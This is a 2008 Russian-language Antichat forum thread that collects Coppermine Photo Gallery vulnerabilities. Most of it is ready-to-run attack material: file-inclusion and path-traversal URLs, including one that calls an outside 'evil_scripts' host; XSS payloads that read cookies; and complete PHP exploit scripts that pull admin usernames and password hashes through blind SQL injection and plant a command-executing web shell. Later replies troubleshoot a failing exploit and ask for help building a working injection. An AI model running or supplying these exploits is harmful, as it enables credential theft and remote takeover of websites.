Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
[ Обзор уязвимостей Coppermine Photo Gallery ] |

21.01.2008, 04:40
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
[ Обзор уязвимостей Coppermine Photo Gallery ]
В данном обзоре я собрал уязвимости Coppermine Photo Gallery как самостоятельного скрипта, а не как модуля в различных CMS. Эти баги можно найти здесь:
https://forum.antichat.ru/showthread.php?t=59150
https://forum.antichat.ru/threadnav22857-1-10.html
Vendor: http://coppermine-gallery.net/
http://sourceforge.net/project/showfiles.php?group_id=89658
Multiple Remote File Include Vulnerabilities
Vulnerable: Coppermine Photo Gallery 1.4.10
Exploit:
Код:
http://www.example.com/Script_Path/image_processor.php?cmd=[Shell-Attack]
http://www.example.com/Script_Path/include/functions.php?path=[Shell-Attack]
http://www.example.com/Script_Path/include/picmgmt.inc.php?cmd=[Shell-Attack]
http://www.example.com/Script_Path/include/plugin_api.inc.php?path=[Shell-Attack]
http://www.example.com/Script_Path/index.php?path=[Shell-Attack]
http://www.example.com/Script_Path/pluginmgr.php?path=[Shell-Attack]
http://www.example.com/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts?
ThumbNails.PHP SQL Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.3.1
Exploit:
PHP код:
<?
# Coppermine Photo Gallery 1.3.x Blind SQL Injection Exploit
# by s0cratex, RTM Member
# Visit: www.zonartm.org
/*
You need make a small work... Add a fav pic, enter to the site and add
/addfav.php?pid=2 for example..xD
... in the line: if(eregi("download",fgets($cnx2))){ $pass.=chr($i);
echo chr($i); break; } }
the word "download" depends of the language...
*/
# saludos a rgod, OpTix, crypkey 'n mechas...
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
$host = "localhost"; $path = "/cpg"; $port = "80";
$id = "1";
echo "Coppermine Photo Gallery 1.3.x fav Blind SQL Injection Exploit\n";
echo "--------------------------------------------------------------\n";
echo "\n";
echo "Username -> ";
$j = 1; $user = "";
while(!strstr($user,chr(0))){
for($x=0;$x<255;$x++){
$xpl = "'') OR 1=(SELECT
(IF((ASCII(SUBSTRING(user_name,".$j.",1))=".$x."),1,0)) FROM
cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx = fsockopen($host,$port);
fwrite($cnx, "GET ".$path."/thumbnails.php?album=favpics
HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx)){
if(eregi("download",fgets($cnx))){ $user.=chr($x); echo chr($x); break;
} }
fclose($cnx);
if ($x==255) {
die("\n Try again..."); }
}
$j++;
}
echo "\n";
echo "Password -> ";
$a = 1; $pass = "";
while(!strstr($pass,chr(0))){
for($i=0;$i<255;$i++){
$xpl = "'') OR 1=(SELECT
(IF((ASCII(SUBSTRING(user_password,".$a.",1))=".$i."),1,0)) FROM
cpg131_users WHERE user_id=".$id.")/*";
$xpl = "a:1:{i:0;s:".strlen($xpl).":\"".$xpl."\";}";
$xpl = base64_encode($xpl);
$cnx2 = fsockopen($host,$port);
fwrite($cnx2, "GET ".$path."/thumbnails.php?album=favpics
HTTP/1.0\r\nCookie: cpg131_fav=".$xpl."\r\n\r\n");
while(!feof($cnx2)){
if(eregi("download",fgets($cnx2))){ $pass.=chr($i); echo chr($i); break;
} }
fclose($cnx2);
if ($i==255) {
die("\n Try again..."); }
}
$a++;
}
echo "--------------------------------------------------------------\n";
echo "s0cratex@zonartm.org || if you speak spanish->MSN:
s0cratex@hotmail.com ..xD";
echo "www.zonartm.org/blog/s0cratex";
echo "plexinium.com comming soon <- Hacking Nica";
?>
Albmgr.PHP SQL Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.4.10
Coppermine Photo Gallery 1.4.9
Coppermine Photo Gallery 1.4.4
Coppermine Photo Gallery 1.3.4
Coppermine Photo Gallery 1.3.3
Coppermine Photo Gallery 1.3.2
Coppermine Photo Gallery 1.3
Coppermine Photo Gallery 1.2.2 bNuke
Coppermine Photo Gallery 1.2.2 b
Coppermine Photo Gallery 1.2.1
Coppermine Photo Gallery 1.2
Coppermine Photo Gallery 1.1 beta 2
Coppermine Photo Gallery 1.1 .0
Coppermine Photo Gallery 1.0 RC3
Coppermine Photo Gallery 1.0
Exploit:
PHP код:
#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
if($argc < 4)
{
print
"\n---------------------------------------------------------";
print "\nAffected.scr..: Coppermine Photo Gallery <= 1.4.10";
print "\nPoc.ID........: 19070104";
print "\nType..........: SQL Injection";
print "\nRisk.level....: Medium";
print "\nSrc.download..: coppermine-gallery.net";
print "\nPoc.link......: acid-root.new.fr/poc/19070104.txt";
print "\nCredits.......: DarkFig";
print
"\n---------------------------------------------------------";
print "\nUsage.........: php xpl.php <url> <adminuser>
<adminpass>";
print "\nProxyOptions..: <proxhost:proxport>
<proxuser:proxpass>";
print "\nExample.......: php xpl.php http://c.com/ admin
passwd";
print
"\n---------------------------------------------------------\n";
exit(1);
}
/*/
[0] => xpl.php [1] => http://localhost/cpg1410/
[2] => root [3] => toor
[4] => localhost:8200 [5] => user:passwd
/*/
$url=$argv[1];$adu=$argv[2];
$adp=$argv[3];$pxs=$argv[4];
$pxa=$argv[5];
$xpl = new phpsploit();
$xpl->agent("InternetExploiter");
$xpl->cookiejar(1);
$xpl->allowredirection(1);
print "\nheader> ===============================================";
print "\nheader> Coppermine Photo Gallery 1.4.10 (SQL Injection)";
print "\nheader> ===============================================";
if(!empty($pxs)){
print "\nstatus> Using a proxy $pxs";
$xpl->proxy($pxs);
}
if(!empty($pxa)){
print "\nstatus> Basic proxy authentification $pxa";
$xpl->proxyauth($pxa);
}
/*/
Table prefix.
/*/
print "\nstatus> Searching the version";
$xpl->get($url.'include/index.html');
if(preg_match("#Coppermine version:
([0-9]*\.[0-9]*\.[0-9]*)#",$xpl->getcontent(),$matches)) print
"\nsploit> Coppermine version ".$matches[1];
else print "\nsploit> Not found";
$table = !empty($matches[1]) ?
'cpg'.str_replace('.','',$matches[1]).'_users' : 'cpg1410_users';
/*/
If you have the admin cookie (but not the password),
replace lines 73=>76 by $xpl->addcookie('yourcookie');
/*/
print "\nstatus> Trying to get logged in";
$xpl->post($url."login.php?referer=index.php","username=$adu&password=$adp&remember_me=1&submitted=Se+Connecter");
if(!preg_match("#color:red#",$xpl->getcontent())) print "\nsploit>
Done";
else die("\nstatus> Exploit failed\n");
/*/
(usermgr.php)
=============
case 'group_alb_access' :
if (isset($_GET['gid'])) $group_id = $_GET['gid'];
$sql = "SELECT group_name FROM [...] WHERE group_id = $group_id
[...]";
$result = cpg_db_query($sql);
(db_ecard.php)
==============
$start = isset($_REQUEST['start']) ? $_REQUEST['start'] : ''; [...]
if (!$start) {$startFrom = '0';}else{$startFrom=$start;} [...]
$result = cpg_db_query("SELECT [...] ORDER BY $sortBy $sortDirection
LIMIT $startFrom,$countTo");
(albmgr.php)
============
$cat = isset($_GET['cat']) ? ($_GET['cat']) : 0;
if ($cat == 1) $cat = 0;
if (GALLERY_ADMIN_MODE) {
$result = cpg_db_query("SELECT [...] WHERE category = $cat ORDER BY
pos ASC");
(filename_to_title())
=====================
$albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
$albstr = ($albumid) ? " WHERE aid = $albumid" : ''; [...]
$result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']}
$albstr");
(del_titles())
==============
$albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
$albstr = ($albumid) ? " WHERE aid = $albumid" : '';
$result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']}
$albstr");
/*/
print "\nstatus> Retrieving all members password";
$xpl->get($url."albmgr.php?cat=-1/**/union/**/select/**/user_name,user_password/**/from/**/$table/*");
if(preg_match_all("#<option
value=\"album_no=(.*),album_nm='([a-z0-9]{32})'#",$xpl->getcontent(),$matches))
print "\nsploit> Done";
else die("\nstatus> Exploit failed\n");
print "\nsploit> +----------------------------------+----------+";
print "\nsploit> | PASSWORD | USER |";
print "\nsploit> +----------------------------------+----------+";
/*/
(init.inc.php)
==============
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<',
'>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<',
'%3E' =>
'>','%27' => ''', "'" => ''');
[...]
if (is_array($_POST)) { // and GET, SERVER, REQUEST...
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key)) unset($$key);
}
... that's why we use the html_entity_decode() function.
I just wanted < for a remote php code execution sploit without admin
rights :'(.
When the admin view the security logs, it include
"security.log.php"...
(security.log.php)
==================
[...]
if (!defined('IN_COPPERMINE')) die(); ?>
Denied privileged access to viewlog.php from user Guest at on January
4, 2007, 2:10 pm
Failed login attempt with Username: <?php mail(you); [...]
fwrite(backdoor.php); [...] /* from IP 127.0.0.1 on Jan 04, 2007 at
01:16 PM
/*/
for($i=0;$i<count($matches[0]);$i++)
{
print "\nsploit> | ".$matches[2][$i].' |
'.html_entity_decode($matches[1][$i]);
if($i==(count($matches[0])-1)){
print "\nsploit>
+----------------------------------+----------+\n";
}
}
?>
Index.PHP Local File Include Vulnerability
Vulnerable: Coppermine Photo Gallery 1.4.4
Exploit:
Код:
http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00
Multiple File Include Vulnerabilities
Vulnerable: Coppermine Photo Gallery 1.4.3
Coppermine Photo Gallery 1.3.2
Coppermine Photo Gallery 1.3.1
Coppermine Photo Gallery 1.3
Coppermine Photo Gallery 1.2.1
Coppermine Photo Gallery 1.2
Coppermine Photo Gallery 1.1
Coppermine Photo Gallery 1.0
Exploit:
Код:
http://www.example.com/[path]/thumbnails.php?lang=../albums/userpics/10002/shell.zip%00
http://www.example.com/[path]/docs/showdoc.php?f=c:\boot.ini
http://www.example.com/[path]/docs/showdoc.php?f=\\192.168.1.2\c\shell.php cpg_143_incl_xpl
Picmgr.PHP SQL Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.4.9
Exploit:
Код:
http://www.example.com/picmgr.php?aid=123%20UNION%20SELECT%20user_id,user_group,concat(user_name,char(58,58),user_password)%20FROM%20cpg149_users%20right%20join%20cpg149_usergroups%20on%20cpg149_users.user_group%20=%20cpg149_usergroups.group_id%20where%20cpg149_usergroups.has_admin_access%20=%201%20--
PHP Code Injection Vulnerability
Vulnerable: Coppermine Photo Gallery 1.0 RC3
Exploit:
Код:
http://www.example.com/albums/userpics/Copperminer.jpg.php?[command]
Remote Commands Execution
Vulnerable: Coppermine Photo Gallery <= 1.4.3
Exploit:
http://milw0rm.com/exploits/1511
File Retrieval SQL Injection
Vulnerable: Coppermine Photo Gallery <= 1.3.2
Exploit:
http://milw0rm.com/exploits/1317
Cross Site Scripting and Local File Inclusion
Vulnerable: Coppermine Photo Gallery <= 1.4.12
Exploit:
Код:
http://localhost/cpg/mode.php?admin_mode=1&referer=javascript:
alert(document.cookie)
http://localhost/cpg/viewlog.php?log=../../../../../../../../..
/etc/passwd%00
(требуются привилегии администратора)
EXIF Data Script Insertion
Vulnerable: Coppermine Photo Gallery >=1.3.3
Exploit:
Открываем картинку формата .jpg в любом графическом редакторе, который поддерживает работу с метаданными EXIF. Нам нужно изменить тэг модели камеры. Вписываем туда ядовитый код, к примеру:
Код:
<script>alert(for Antichat only)</script>
и сохраняем картинку.
Далее заливаем ее на сервер, находим в галерее и кликаем по ней мышью- отображается EXIF- информация, которая не фильтруется. То есть, вылетает алерт "for Antichat only"
addhit() function~ SQLinjection attack
Vulnerable: Coppermine Photo Gallery 1.4.8
Exploit:
Код:
GET /cpg/displayimage.php?album=random&cat=0&pos=-{Not Viewd Image ID} HTTP/1.1
Host: O_O
User-Agent: ’sql commands
Keep-Alive: 300
Cookie: valid login
Последний раз редактировалось iddqd; 01.02.2008 в 15:39..
|
|
|

22.01.2008, 02:11
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery 1.4.10
Exploit:
PHP код:
<?php
#####################################
# Coppermine gallery SQL injection exploit
# based on RST/GHC bugs
# Author: bazik, icq 178377
#####################################
error_reporting(0);
class cpg1410_xek {
public $GLOBALS = array();
function prepareExp($sql) {
$a1 = '1) UNION SELECT ' . $this->toHex($sql) . ', ' . $this->toHex('bazik') . ' LIMIT 1,1/*';
$b1 = 'bazik';
$a2 = $sql;
$b2 = 'bazik';
$arr = array($a1 => $b1, $a2 => $b2);
return $this->GLOBALS['prefix'] . '_albpw=' . rawurlencode(serialize($arr));
}
function toHex($str) {
for ($i=0; $i < strlen($str); $i++)
$result .= sprintf("%X", ord($str[$i]));
return "0x" . $result;
}
function sendQuery($out) {
$fp = fsockopen($this->GLOBALS['host'], 80, $errno, $errstr, 30);
if(!$fp)
die("[-] Can't connect to " . $this->GLOBALS['host'] . " ...\n\n");
else {
fwrite($fp, $out);
while(!feof($fp))
$str .= fgets($fp, 128);
fclose($fp);
return $str;
}
}
function getCookiePrefix() {
$out = "HEAD " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumId'] . " HTTP/1.1\r\n";
$out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
$out .= "Connection: Close\r\n\r\n";
preg_match_all('!Set-Cookie:.+(.+)_data=.+!Uim', $this->sendQuery($out), $result);
return $result[1][0];
}
function getPathToShell() {
$out = "GET " . $this->GLOBALS['path'] . "/themes/sample/theme.php HTTP/1.1\r\n";
$out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
$out .= "Connection: Close\r\n\r\n";
preg_match_all('!in\s(.+).{1}themes.{1}sample.{1}theme.php!Uim', $this->sendQuery($out), $result);
$str = strip_tags($result[1][0]);
return str_replace("\\", "/", $str);
}
function getShell() {
$sql = $this->GLOBALS['albumID'] . ') UNION SELECT ' . $this->toHex('<pre><?system($_GET[\'a\']);?></pre>') . ' INTO OUTFILE \'' . $this->GLOBALS['pathToShell'] . '/albums/userpics/shell.php\'/*';
$out = "GET " . $this->GLOBALS['path'] . "thumbnails.php?album=" . $this->GLOBALS['albumID'] . " HTTP/1.1\r\n";
$out .= "Host: " . $this->GLOBALS['host'] . "\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "Cookie: " . $this->prepareExp($sql) . "\r\n";
$out .= "Connection: Close\r\n\r\n";
$this->sendQuery($out);
}
function hat() {
echo "\n## Coppermine SQL injection exploit\n";
echo "## Vulnerable: CPG 1.4.10 stable\n\n";
echo "## THIS IS UNPUBLISHED EXPLOIT CODE\n";
echo "## KEEP IT PRIVATE\n\n";
}
function foot() {
echo "## (c)oded by bazik\n";
echo "## 20/01/2008\n";
}
}
$exp = new cpg1410_xek();
if ($argc != 4) {
$exp->hat();
echo "For example:\n\n";
echo " php cpg1410_xek.php [url] [path] [albumID]\n\n";
echo " [url] = http://www.victim.gov\n";
echo " [path] = \cpg1410\\\n";
echo " [albumID] = 1\n\n\n";
$exp->foot();
} else {
$exp->hat();
preg_match("/^(http:\/\/)?([^\/]+)/i", $argv[1], $matches);
$exp->GLOBALS['host'] = $matches[2];
$exp->GLOBALS['path'] = $argv[2];
$exp->GLOBALS['albumID'] = intval($argv[3]);
$exp->GLOBALS['prefix'] = $exp->getCookiePrefix();
$exp->GLOBALS['pathToShell'] = $exp->getPathToShell();
if(empty($exp->GLOBALS['prefix']))
echo "[-] Can't get cookie prefix ...\n\n";
else
echo "[+] Cookie prefix: " . $exp->GLOBALS['prefix'] . "\n";
if(empty($exp->GLOBALS['pathToShell']))
echo "[-] Can't recognize full path ...\n\n";
else {
echo "[+] Full path: " . $exp->GLOBALS['pathToShell'] . "\n\n";
$exp->getShell();
$url = 'http://' . $exp->GLOBALS['host'] . $exp->GLOBALS['path'] . 'albums/userpics/shell.php';
if (file_get_contents($url))
echo " Web-shell: " . $url . "\n\n";
else
echo "[-] Can't create web-shell ...\n\n";
}
$exp->foot();
}
?>
# milw0rm.com [2008-01-21]
Последний раз редактировалось iddqd; 23.01.2008 в 02:48..
|
|
|

23.01.2008, 02:47
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery <=1.4.14
Exploit:
PHP код:
<?php
#############################################
# RST/GHC PRIVATE
# CPG 1.4.10 sql injection exploit
# Date: 17.05.07
# bug: SQL injection in private album
# function through array indexes with COOKIE
#############################################
error_reporting (E_ERROR);
ini_set("max_execution_time",0);
intro();
if ($argc < 4 ){
print " Usage: " . $argv[0] . " <host> <dir> <force> [table prefix]\n";
print " <host> - hostname\n";
print " <dir> - web dirname \n";
print " <force> - force mode - '0' - for Off or \"album number\" for force mode On \n";
print " [table prefix] - prefix of sql tables\n";
print " example: " . $argv[0] . " coppermine.site photo/ 1 cpg1410\n";
credits();
}
###############################################
/* FUNCTIONS */
##############################################
if (!function_exists(str_split)){ ### for PHP4 << FIX
function str_split($str)
{
$str_array=array();
$len=strlen($str);
for($i=0;$i<$len;$i++) $str_array[]=$str{$i};
return $str_array;
}
}
function toSql($str){
$a_str = str_split ($str);
$s_str = '0x';
foreach ($a_str as $val){
$s_str .= sprintf("%X",ord($val));
}
return $s_str;
}
function toCookie ($str){
$str = "-1) UNION SELECT " .toSql ($str). ",1 as md5_password/*";
$c_str=array(0=>"8", $str=>"1");
$c_str = $GLOBALS['prefix'].'_albpw='.urlencode(serialize($c_str)).';'.$GLOBALS['cookies'];
return $c_str;
}
function getAlbum($text){
if (preg_match("/(?<=album=)[1-9]{1}(?=\">)/", $text, $match)) {
return intval($match[0]);
}
else return 0;
}
function getCookie($text){
if (preg_match_all("/(?<=Set-Cookie:)(.*)(?=expires)/", $text, $match)) {$cookie = $match[0][0].$match[0][1];}
else {$cookie = '';}
return $cookie;
}
function getPrefix($text){
if (preg_match("/(?<=\s)[a-z0-9_]*(?=_data)/", $text, $match)) return trim($match[0]);
else return false;
}
function toPage($page){
$pattern = "/(?<=HTTP).*(?=<html)/s";
$replacement = '';
$page = preg_replace($pattern,$replacement,$page);
/* Let's count images on the page */
if (preg_match_all("/<img/", $page, $match)) return count($match[0]);
else return 0;
}
function sendit($page, $method, $cookie=''){
global $argv;
$data ='';
$host = $argv[1];
$page = $argv[2] . $page;
$referer = 'http://'.$host;
$user_agent = 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)';
$result = '';
$sock = fsockopen($host, 80, $errno, $errstr, 50);
if (!$sock) die("$errstr ($errno)\n");
fputs($sock, "$method /$page HTTP/1.0\r\n");
fputs($sock, "Host: $host" . "\r\n");
fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($sock, "Content-length: " . strlen($data) . "\r\n");
fputs($sock, "Referer: $referer". "\r\n");
fputs($sock, "User-Agent: $user_agent" . "\r\n");
fputs($sock, "Accept: */*\r\n");
if ($cookie !=='') {fputs($sock, "Cookie: $cookie\r\n");}
fputs($sock, "\r\n");
fputs($sock, "$data\r\n");
fputs($sock, "\r\n");
while (!feof($sock)) {
$result .= fgets ($sock,8192);
}
fclose($sock);
//print $result; ### DEBUGER
return $result;
}
function credits(){
echo '
+==========================================+
+ Coded: 17.05.07 * Bug found in Feb.2007 +
+==========================================+
';
exit;
}
function intro(){
echo '
* P R I V A T E *
+==========================================+
| RST/GHC Coppermine SQL injection exploit |
+==========================================+
| >>> vulnerable: CPG 1.4.10 stable <<< |
+------------------------------------------+
';
}
#####################################################################
### HACK FUNCTIONS
#####
####
### what to find:
## user_name user_password FROM cpg1410_users WHERE user_id=1
####################################################################
function makeExpl($param, $cond, $sn) ### $param - name || password; $cond - condition (e.g. =97) ; $sn - position
{
global $argv;
$tprefix = (isset($argv[4])) ? $argv[4] : 'cpg1410';
$query = 'ASCII(substr((SELECT user_'.$param.' FROM '.$tprefix.'_users WHERE user_id=1),'.$sn.',1))' . $cond;
$sql = '0) UNION SELECT '.$GLOBALS['album'].' AND ' .$query. '/*';
//echo $sql; ###DEBUG
return toCookie($sql);
}
//////////////
function blind($param, $sn, $fmin, $fmax)
{
if (($fmax-$fmin)<5) { return crack($param, $fmin, $fmax, $sn) ;}
$compare = intval($fmin + ($fmax-$fmin)/2);
$crcheck = ">". $compare;
if ( check(makeExpl($param, $crcheck, $sn)) == 1 ) {
return blind($param, $sn, $compare, $fmax);
}
else {
return blind($param, $sn, $fmin, $compare+1);
}
}
function crack($param, $cmin, $cmax, $sn)
{
for ($i=$cmin; $i <=$cmax; $i++){
$crcheck = '='.$i;
$sqlCookie = makeExpl($param, $crcheck ,$sn);
if (check($sqlCookie) == 1){print chr($i); return 1;}
}
return 0;
}
function check($sqlCookie){
global $page, $etalon;
$testPage = toPage(sendit ($page, 'GET', $sqlCookie));
if ($testPage < $etalon) return 1;
else return 0;
}
function exploit($param){
echo "\nLet's define admin's ". $param . "\n";
$min = 48; # 0
$max = 122; # z
$sql_cookies = makeExpl($param,'BETWEEN '.$min . ' AND '.$max,1);
if (check($sql_cookies) == 0) {echo 'failed...'; return;}
$sn=1;
while(blind($param,$sn, $min, $max) !== 0) {
$sn++; if ($sn > 32) return;
}
}
###############################################################
## START E X P L O I T C O D E
#############################################################
echo '
Exploiting:
[+] target: '. $argv[1].'/'.$argv[2].'
';
$page = '';
$firstReply = sendit($page, 'GET');
$album = getAlbum($firstReply); ### get valid album number
if ($album == 0) {
echo "[-] No valid album found...\n";
if ($argv[3] != 0) {echo "... Forcing\n"; $album = $argv[3];} ### FOR FORCE MODE!!!! If you know exactly album number - put it here
else {credits();}
}
$page = 'thumbnails.php?album='.$album;
$GLOBALS['album'] = $album;
echo "[+] Valid album number: ".$album . "\n";
$GLOBALS['cookies'] = getCookie($firstReply); ### get cookie from host
$prefix = getPrefix($GLOBALS['cookies']); ### get cookie prefix
echo "[+] Cookie prefix: " . $prefix . "\n";
$GLOBALS['prefix']=$prefix;
$etalon = toPage(sendit ($page, 'GET', $c_cookies)); ### number of images at etalon page
$first_sql = '0) UNION SELECT '.$album.' AND 1=1/*'; ### FIRST sql query - let's make valid album to be invisible
$first_cookie = toCookie($first_sql);
if (check($first_cookie) == 0) {echo "exploit failed..."; credits();} ### if album is still visible - site is unvulnerable
exploit('name');
exploit('password');
credits();
?>
# milw0rm.com [2008-01-22]
|
|
|

31.01.2008, 16:52
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
Remote Command Execution
Vulnerable: Coppermine Photo Gallery 1.4.14
PoC:
http://milw0rm.com/exploits/5019
|
|
|

31.01.2008, 17:59
|
|
Участник форума
Регистрация: 05.07.2006
Сообщений: 285
Провел на форуме: 3295822
Репутация:
117
|
|
Сообщение от iddqd
Код:
http://www.example.com/cpg/index.php?file=.//././/././/././/././/././/././/././/././/./etc/passwd%00
Может
Код:
http://www.example.com/cpg/index.php?file=../../../../../../../../../../../../../../../../../../etc/passwd%00
???
|
|
|

31.01.2008, 18:02
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
Сообщение от sedoy_xxx
Может
Код:
http://www.example.com/cpg/index.php?file=../../../../../../../../../../../../../../../../../../etc/passwd%00
???
Скорей всего, но в первоисточнике (securityfocus.com)
было именно так
|
|
|

01.02.2008, 15:36
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме: 4192567
Репутация:
2145
|
|
XSS
Vulnerable: Coppermine 1.4.14
PoC:
Код:
http://localhost/coppermine.1.4.14/docs/showdoc.php?
h=iddqd&t=<script>alert(123);</script>
http://localhost/coppermine.1.4.14/docs/showdoc.php?
h=</title><script>alert(123);</script>&t=iddqd
SQL injection in "util.php"
Vulnerable: Coppermine 1.4.14
Note: атакующий должен иметь привилегии администратора!
Уязвимый участок кода:
PHP код:
{
global $CONFIG, $lang_util_php;
$albumid = (isset($_POST['albumid'])) ? $_POST['albumid'] : 0;
$albstr = ($albumid) ? "WHERE aid = $albumid" : '';
$updatetype = $_POST['updatetype'];
$numpics = $_POST['numpics'];
$startpic = (isset($_POST['startpic'])) ? $_POST['startpic'] : 0;
echo "<h2>{$lang_util_php['thumbs_wait']}</h2>";
$result = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']}
$albstr LIMIT $startpic, $numpics");
$count = mysql_num_rows($result);
Как видно, переменные "$_POST['albumid']", "$_POST['startpic']" и "$_POST['numpics']" имеют недостаточную фильтрацию, что дает возможность администратору провести SQL инъекцию.
SQL injection in "reviewcom.php"
Vulnerable: Coppermine 1.4.14
Note: атакующий должен иметь привилегии администратора!
Уязвимый участок кода:
PHP код:
if (isset($_POST['cid_array'])) {
$cid_array = $_POST['cid_array'];
$cid_set = '';
foreach ($cid_array as $cid)
$cid_set .= ($cid_set == '') ? '(' . $cid : ', ' . $cid;
$cid_set .= ')';
cpg_db_query("DELETE FROM {$CONFIG['TABLE_COMMENTS']}
WHERE msg_id IN $cid_set");
$nb_com_del = mysql_affected_rows();
}
Данные не фильтруются в переменной "$_POST['cid_array']" и используются в запросе DELETE.
При MySQL 4.1.x администратору может получить информацию из БД приложения, используя подзапросы в DELETE.
Утечка информации из "update.php"
Vulnerable: Coppermine 1.4.14
PoC:
Код:
http://victim.com/cpg14x/update.php
Скрипт может выдать некоторую информацию, например, префикс таблиц в БД, что может быть использовано в последующих атаках.
Раскрытие пути в "include/slideshow.inc.php"
Vulnerable: Coppermine 1.4.14
PoC:
Код:
http://localhost/coppermine.1.4.14/include/slideshow.inc.php
Выдает ошибку, содержащую абсолютный путь к скрипту:
Код HTML:
<b>Fatal error</b>: Call to undefined function get_pic_data() in <b>
C:\apache_wwwroot\coppermine.1.4.14\include\slideshow.inc.php
</b> on line <b>53</b><br />
|
|
|

02.02.2008, 04:41
|
|
Новичок
Регистрация: 02.02.2008
Сообщений: 2
Провел на форуме: 6132
Репутация:
1
|
|
Сообщение от iddqd
Remote SQL Injection
Vulnerable: Coppermine Photo Gallery 1.4.10
Exploit:
PHP код:
#####################################
# Coppermine gallery SQL injection exploit
# based on RST/GHC bugs
# Author: bazik, icq 178377
#####################################
...
Не рабочий.
Код:
...
196 Query SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) UNION SELECT 0x312920554E494F4E2053454C454354203078334337303732363533453343334637333739373337343635364432383234354634373435353435423237363132373544323933423346334533433246373037323635334520494E544F204F555446494C4520272F7661722F7777772F6C6F63616C686F73742F38302F616C62756D732F75736572706963732F7368656C6C2E706870272F2A, 0x62617A696B LIMIT 1,1/*,1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Query SELECT aid FROM cpg1410_albums WHERE visibility != '0' AND visibility !='10000' AND visibility NOT IN (3) AND aid NOT IN (1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Quit
Файл не создается, запрос не выполняется.
|
|
|

02.02.2008, 05:02
|
|
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме: 9751379
Репутация:
3812
|
|
Сообщение от voron999888
Не рабочий.
Код:
...
196 Query SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (1) UNION SELECT 0x312920554E494F4E2053454C454354203078334337303732363533453343334637333739373337343635364432383234354634373435353435423237363132373544323933423346334533433246373037323635334520494E544F204F555446494C4520272F7661722F7777772F6C6F63616C686F73742F38302F616C62756D732F75736572706963732F7368656C6C2E706870272F2A, 0x62617A696B LIMIT 1,1/*,1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Query SELECT aid FROM cpg1410_albums WHERE visibility != '0' AND visibility !='10000' AND visibility NOT IN (3) AND aid NOT IN (1) UNION SELECT 0x3C7072653E3C3F73797374656D28245F4745545B2761275D293B3F3E3C2F7072653E INTO OUTFILE '/var/www/localhost/80/albums/userpics/shell.php'/*)
196 Quit
Файл не создается, запрос не выполняется.
не думал что это от того что форум вставляет пробелы в длинные строки?
__________________
|
|
|

02.02.2008, 16:22
|
|
Новичок
Регистрация: 02.02.2008
Сообщений: 2
Провел на форуме: 6132
Репутация:
1
|
|
Сообщение от +toxa+
не думал что это от того что форум вставляет пробелы в длинные строки?
Нет не вставляет, это здесь вставил (я не заметил), а в запросе все ок. Да и запрос в куки подсовывается.
Если скопировать и вставить вручную в командную строку mysql то выполнится все, а из php как я полагаю необходимо закрыть комментарий, что в данном случае невозможно, последняя ) будет лишней.
Пробовал как у себя так и на другой галлереи, там тоже запрос не выполняется, пишет ошибка БД.
Можно конечно простенькие бесталковые запросы создать, там 2 select объединить, чтобы использовалась последняя ), а вот файл создать имхо невозможно, либо это работает в старых версиях mysql.
Если кто может помочь, придумайте полезный запрос без /* и -- на конце, ибо с ними не выполняется.
Код:
SELECT aid, MD5(alb_password) as md5_password FROM cpg1410_albums WHERE aid IN (inj1,inj2,0)
т.е.
Код:
